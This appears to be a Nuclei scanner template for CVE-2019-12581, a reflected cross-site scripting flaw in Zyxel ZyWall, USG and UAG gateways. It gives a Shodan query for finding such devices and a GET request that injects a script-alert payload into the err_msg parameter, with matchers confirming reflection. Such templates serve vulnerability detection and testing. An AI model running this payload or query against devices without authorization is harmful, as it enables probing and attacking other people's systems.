44 lines
1.4 KiB
YAML
44 lines
1.4 KiB
YAML
id: CVE-2019-12581
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info:
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name: Zyxel ZyWall / USG / UAG - Reflected Cross-site scripting
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author: n-thumann
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severity: medium
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description: A reflective Cross-site scripting (XSS) vulnerability in the free_time_failed.cgi CGI program in selected Zyxel ZyWall, USG, and UAG devices allows remote attackers to inject arbitrary web script or HTML via the err_msg parameter.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2019-12581
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- https://www.zyxel.com/support/vulnerabilities-related-to-the-Free-Time-feature.shtml
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- https://sec-consult.com/vulnerability-lab/advisory/reflected-cross-site-scripting-in-zxel-zywall/
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- https://n-thumann.de/blog/zyxel-gateways-missing-access-control-in-account-generator-xss/
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2019-12581
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cwe-id: CWE-79
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metadata:
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shodan-query: http.title:"ZyWall"
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tags: cve,cve2019,zyxel,zywall,xss
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/free_time_failed.cgi?err_msg=<script>alert(document.domain);</script>"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "<script>alert(document.domain);</script>"
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- "Please contact with administrator."
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condition: and
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- type: word
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part: header
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words:
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- "text/html"
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- type: status
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status:
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- 200
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